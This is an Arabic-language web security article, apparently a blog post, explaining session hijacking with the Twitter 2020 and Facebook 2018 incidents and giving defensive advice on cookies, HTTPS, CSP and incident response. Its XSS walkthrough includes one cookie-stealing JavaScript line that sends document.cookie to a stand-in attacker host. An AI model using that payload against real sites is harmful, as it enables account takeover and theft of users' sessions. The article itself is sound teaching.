كيف يخترق الهاكر حسابك بدون كلمة مرور؟ شرح Session Hijacking مع أمثلة حقيقية
آخر تحديث: 2025 | الفئة: Cybersecurity – Web Security – OWASP
صورة توضيحية لعملية Session Hijacking وسرقة الكوكيز (Cookie Theft)
مقدمة
في عالم أمن الويب، ليست كلمة المرور الهدف الوحيد للمهاجم. أحياناً يكفي الحصول على Session Token واحد ليتحكم المهاجم بحساب المستخدم بالكامل — دون أن يعرف كلمة مروره، ودون أن يُنبَّه المستخدم بأي شيء.
هذا بالضبط ما يُسمى بـ Session Hijacking أو Cookie Hijacking. وما يجعله خطيراً بشكل استثنائي هو أنه يتجاوز كل أشكال المصادقة التقليدية — بما فيها الـ MFA في بعض الحالات.
في هذا المقال ستجد شرحاً كاملاً لكيفية عمل هذه الهجمات، أمثلة حقيقية من اختراقات بارزة (Twitter 2020 وFacebook 2018)، وخطوات عملية لحماية تطبيقاتك ومستخدميك.
- ما هي الـ Session وكيف تعمل؟
- ما هو Session Hijacking؟
- أنواع هجمات Session Hijacking
- كيف يعمل الهجوم خطوة بخطوة
- أمثلة حقيقية من أرض الواقع
- إعداد الكوكيز بشكل آمن (HttpOnly, Secure, SameSite)
- كيف تحمي تطبيقك ومستخدميك؟
- الاستجابة عند الاشتباه بالاختراق
- Security Checklist سريعة
- Best Practices للمطورين
- الأخطاء الشائعة في حماية الجلسات
- الأسئلة الشائعة (FAQ)
- الخاتمة
- مقالات مرتبطة
1. ما هي الـ Session وكيف تعمل؟
بروتوكول HTTP بطبيعته Stateless — أي أن كل طلب (Request) مستقل تماماً عن سابقه، والخادم لا "يتذكر" من أنت. لحل هذه المشكلة وتمكين تجربة المستخدم المستمرة (تسجيل الدخول، السلة، الإعدادات...)، ظهر مفهوم الـ Session.
عندما تُسجّل دخولك لموقع ما، يحدث التالي:
المستخدم يُرسل اسم المستخدم وكلمة المرور للخادم.
رمز عشوائي فريد (Session Token) يُنشأ ويُخزَّن على الخادم مرتبطاً بهوية المستخدم.
الخادم يُرسل هذا الـ Token في Cookie تُخزَّن في متصفح المستخدم.
في كل طلب لاحق، يُرسل المتصفح هذا الـ Cookie تلقائياً — والخادم يعرف أنك "مسجّل الدخول".
2. ما هو Session Hijacking؟
Session Hijacking هو هجوم يقوم فيه المهاجم بسرقة أو انتحال Session Token صالح لمستخدم شرعي، ثم استخدامه لمحاكاة هويته على الموقع أو التطبيق المستهدف — دون معرفة كلمة المرور، ودون الحاجة لتجاوز المصادقة من جديد.
بمجرد حصول المهاجم على الـ Token، يستطيع:
- قراءة الرسائل والبيانات الخاصة.
- إجراء عمليات مالية أو تغيير البيانات.
- تغيير كلمة المرور وقفل المستخدم الشرعي.
- الوصول لصلاحيات إدارية إذا كان الحساب إدارياً.
- تجاوز الـ MFA لأن الجلسة قائمة بالفعل بعد إكمال المصادقة.
3. أنواع هجمات Session Hijacking
| نوع الهجوم | الآلية | الشرط |
|---|---|---|
| XSS (Cross-Site Scripting) | حقن JavaScript خبيث يسرق الـ Cookie | ثغرة XSS في التطبيق |
| Session Sidejacking | التقاط الـ Token عبر شبكة غير مشفرة | غياب HTTPS — شبكة مفتوحة |
| Session Fixation | إجبار الضحية على جلسة حددها المهاجم | التطبيق لا يُجدّد الـ Session بعد الدخول |
| Man-in-the-Browser | برمجية خبيثة على جهاز الضحية تعترض الـ Token | إصابة الجهاز بـ Malware |
| Cookie Theft via RAT | برنامج تحكم عن بُعد يسرق ملفات Cookie | إصابة الجهاز بـ RAT |
| Admin Tool Abuse | استغلال أدوات دعم داخلية للتحكم بالجلسات | وصول لأدوات إدارية — هجوم Twitter 2020 |
4. كيف يعمل الهجوم خطوة بخطوة (مثال XSS)
أشيع طريقة لسرقة الجلسات هي XSS. إليك كيف يعمل السيناريو:
يجد حقلاً في التطبيق يقبل مدخلات غير مُعالجة — مثل حقل تعليق أو بحث.
يُدرج كوداً مثل: document.location='https://evil.com/steal?c='+document.cookie
مستخدم مسجّل الدخول يفتح الصفحة — ينفّذ المتصفح الكود تلقائياً.
الـ Session Token يصل لسيرفر المهاجم مباشرةً.
يضع الـ Cookie في متصفحه — الموقع يعتبره المستخدم الشرعي. لا كلمة مرور، لا MFA.
5. أمثلة حقيقية من أرض الواقع
حادثة Twitter 2020 — الداخل يصبح التهديد
في يوليو 2020، نفّذ مهاجمون ما يُعدّ من أبرز هجمات Session Hijacking الداخلية في التاريخ. الهجوم لم يكن تقنياً بحتاً — بدأ بـ Social Engineering استهدف موظفي دعم Twitter عبر الهاتف، وأقنعهم بمشاركة بيانات الوصول لأدوات إدارية داخلية.
من خلال هذه الأدوات، تمكّن المهاجمون من:
- التحكم بحسابات شخصيات بارزة مثل Elon Musk وBarack Obama وBill Gates.
- نشر تغريدات احتيالية طلبت عملة مشفرة من المتابعين.
- كل ذلك بدون معرفة كلمات مرور أصحاب الحسابات.
الدرس: الأدوات الإدارية الداخلية هي هدف بالغ الخطورة — إذا وصل إليها شخص غير مصرّح له، يحصل على نفوذ أوسع من أي كلمة مرور.
ثغرة Facebook "View As" 2018 — خطأ كودي بعواقب ضخمة
في سبتمبر 2018، اكتشف فيسبوك أن ميزة "View As" (عرض ملفك الشخصي كما يراه الآخرون) كانت تُسرّب Access Tokens بسبب خطأ في تفاعل ثلاث ثغرات في الكود معاً.
النتيجة: وصول المهاجمين لملايين الـ Access Tokens — وهو ما يُعطيهم دخولاً كاملاً لحسابات المستخدمين دون كلمات مرور. أجبر فيسبوك على إعادة تسجيل الخروج لأكثر من 90 مليون مستخدم دفعةً واحدة.
6. إعداد الكوكيز بشكل آمن
أول وأهم خط دفاع: إعداد الـ Cookie بالخصائص الأمنية الصحيحة. الـ Cookie المثالية تبدو هكذا:
| الخاصية | ماذا تفعل؟ | تحمي من |
|---|---|---|
| HttpOnly | تمنع JavaScript من قراءة الـ Cookie | هجمات XSS |
| Secure | تُرسَل فقط عبر HTTPS | Session Sidejacking |
| SameSite=Lax | تحد إرسال الـ Cookie من مواقع خارجية | CSRF Attacks |
| Max-Age / Expires | تحدد مدة صلاحية الجلسة | Stolen Tokens القديمة |
| Path=/ | تقيّد إرسال الـ Cookie لمسارات محددة | تضييق نطاق التعرض |
HttpOnly وحده لا يكفي إذا كانت الجلسة تُرسَل عبر HTTP غير مشفر. الاثنان معاً (HttpOnly + Secure + HTTPS) هو الحد الأدنى المقبول.
7. كيف تحمي تطبيقك ومستخدميك؟
1. تفعيل HTTPS وHSTS
تأكد أن كل صفحات التطبيق تعمل عبر HTTPS بلا استثناء. فعّل HSTS (HTTP Strict Transport Security) لمنع أي اتصال غير مشفر حتى لو حاول المتصفح استخدام HTTP:
2. تجديد Session ID بعد تسجيل الدخول
بعد نجاح تسجيل الدخول، أنشئ Session ID جديداً وابطل القديم. هذا يمنع هجمات Session Fixation حيث يُحدّد المهاجم الـ ID مسبقاً.
3. تقليل مدة الجلسة وإعادة التحقق
قصّر مدة صلاحية الجلسة — 15-30 دقيقة للتطبيقات الحساسة، وساعات للتطبيقات العادية. اطلب إعادة إدخال كلمة المرور قبل العمليات الحساسة (تغيير البريد، المعاملات المالية).
4. ربط الجلسة بـ User Agent وIP (بحذر)
يمكن ربط الجلسة بعنوان IP أو User Agent المستخدم — أي تغيير مفاجئ يُلغي الجلسة تلقائياً. لكن استخدم هذا بحذر لأن عناوين IP قد تتغير بشكل شرعي (شبكات الجوال).
5. منع XSS بـ Content Security Policy
فلتر جميع المدخلات من المستخدمين (Input Validation) وطبّق CSP Header لمنع تنفيذ أكواد خارجية:
6. مراقبة الجلسات وإظهارها للمستخدم
أتح لمستخدميك رؤية الأجهزة النشطة وتسجيل الخروج منها — كما تفعل Gmail وGitHub وFacebook. هذا يُمكّن المستخدم من اكتشاف جلسة مشبوهة بنفسه.
7. تأمين الأدوات الإدارية الداخلية
طبّق مبدأ أقل صلاحية (Least Privilege) على كل أدوات الدعم. فعّل MFA إلزامياً. سجّل كل نشاط وراجعه دورياً. هجوم Twitter 2020 كان سيُوقَف بهذه الإجراءات.
8. الاستجابة عند الاشتباه باختراق الجلسات
- إلغاء جميع الجلسات فوراً (Invalidate All Sessions): أجبر كل المستخدمين على إعادة تسجيل الدخول — هذا يُلغي أي Token مسروق.
- تحليل سجلات الدخول: ابحث عن عناوين IP غير مألوفة، دول غير معتادة، أوقات دخول غريبة.
- تحديد الثغرة وإغلاقها: هل كانت XSS؟ API مكشوف؟ أداة إدارية مُساءة الاستخدام؟
- إخطار المستخدمين بشفافية: أبلغ المتضررين فوراً واشرح ما حدث وما اتُّخذ من إجراءات.
- تقرير ما بعد الحادثة (Post-Mortem): وثّق ما حدث، وكيف اكتُشف، وما الإجراءات المُتخذة لمنع التكرار.
9. Security Checklist — هل تطبيقك محمي؟
- ☐ HTTPS مفعّل على كل النطاقات والمسارات؟
- ☐ HSTS Header مُضاف مع preload؟
- ☐ Cookies تحمل HttpOnly + Secure + SameSite؟
- ☐ Session ID يتجدد بعد كل تسجيل دخول؟
- ☐ مدة الجلسة قصيرة ومعقولة؟
- ☐ جميع المدخلات مُعالجة ضد XSS؟
- ☐ Content Security Policy مُطبَّق؟
- ☐ المستخدم يستطيع رؤية جلساته وإلغاءها؟
- ☐ الأدوات الإدارية تستخدم MFA وتُسجَّل أنشطتها؟
- ☐ هناك آلية لإلغاء جميع الجلسات عند الطوارئ؟
10. Best Practices للمطورين
- 1. لا تُخزّن Session ID في URL: بعض الأطر القديمة تضعه في الـ URL كـ ?sessionid=xxx — هذا يُسرَّب عبر Referer header وسجلات الخادم. استخدم Cookie دائماً.
- 2. استخدم Session ID عشوائياً وطويلاً: على الأقل 128 bit من Cryptographically Secure Random — لا يمكن تخمينه أو اختراقه بالـ Brute Force.
- 3. لا تُعد استخدام Session ID بعد تسجيل الخروج: عند Logout، ابطل الـ Session من جانب الخادم فوراً. حذف الـ Cookie من المتصفح وحده لا يكفي — المهاجم قد يملك نسخة منه.
- 4. فرّق بين جلسات القراءة والكتابة: للعمليات الحساسة، اطلب إعادة التحقق حتى لو كانت الجلسة نشطة.
- 5. طبّق Token Rotation: في الـ APIs، جدّد الـ Access Token بانتظام واستخدم Refresh Tokens قصيرة الأمد.
11. الأخطاء الشائعة في حماية الجلسات
- ❌ الاعتقاد أن MFA يحمي من Session Hijacking: MFA يحمي عند تسجيل الدخول — لكن إذا سُرق الـ Token بعد إتمام الدخول، لا تُطلَب MFA مجدداً. الجلسة قائمة بالفعل.
- ❌ وضع HttpOnly فقط بدون Secure: يحمي من XSS لكن الـ Cookie تُرسَل عبر HTTP مكشوفاً. يجب الاثنان معاً دائماً.
- ❌ جلسات لا تنتهي صلاحيتها (No Expiry): Token مسروق يبقى صالحاً للأبد. مدة انتهاء معقولة تحد من نافذة الاستغلال.
- ❌ عدم إبطال الجلسة عند تغيير كلمة المرور: إذا غيّر المستخدم كلمة مروره (لاشتباهه بالاختراق)، يجب إلغاء جميع الجلسات الأخرى تلقائياً.
- ❌ إعطاء أدوات الإدارة صلاحيات واسعة بدون MFA: درس Twitter 2020 — كل أداة إدارية داخلية هي هدف محتمل يجب حمايتها بنفس مستوى حماية الإنتاج.
12. الأسئلة الشائعة (FAQ)
13. الخاتمة
Session Hijacking يُثبت أن كلمة المرور ليست الحصن الأخير — بل الجلسة نفسها هي المفتاح الحقيقي. تأمين الـ Cookies بالخصائص الصحيحة، تفعيل HTTPS، تقليل مدة الجلسة، وحماية الأدوات الإدارية من الداخل — هذه المجتمعة تُقلّل بشكل كبير من فرص نجاح هذا النوع من الهجمات.
الحماية لا تكتمل بإجراء واحد. تطبيق الـ Checklist كاملاً، مراجعة كودك بانتظام، ومتابعة توصيات OWASP هو المسار الصحيح لبناء تطبيق ويب آمن فعلاً.
- OWASP — Session Management Cheat Sheet
- OWASP — Cookie Security (HttpOnly, Secure, SameSite)
- Twitter Security Blog — 2020 Security Incident
- Facebook Newsroom — View As Vulnerability Report (2018)
14. مقالات مرتبطة
مثال حي على Cookie Theft في هجوم Supply Chain Attack حقيقي.
اقرأ المقال ←كيف يحمي VPN اتصالاتك من التنصت وسرقة الجلسات.
اقرأ المقال ←كيف يُوقف الـ Firewall هجمات الشبكة قبل وصولها للتطبيق.
اقرأ المقال ←كيف تتعافى من الحوادث الأمنية وتحمي بياناتك.
اقرأ المقال ←© 2025 – جميع الحقوق محفوظة | كمبيوترجي — تقنية المعلومات والبنية التحتية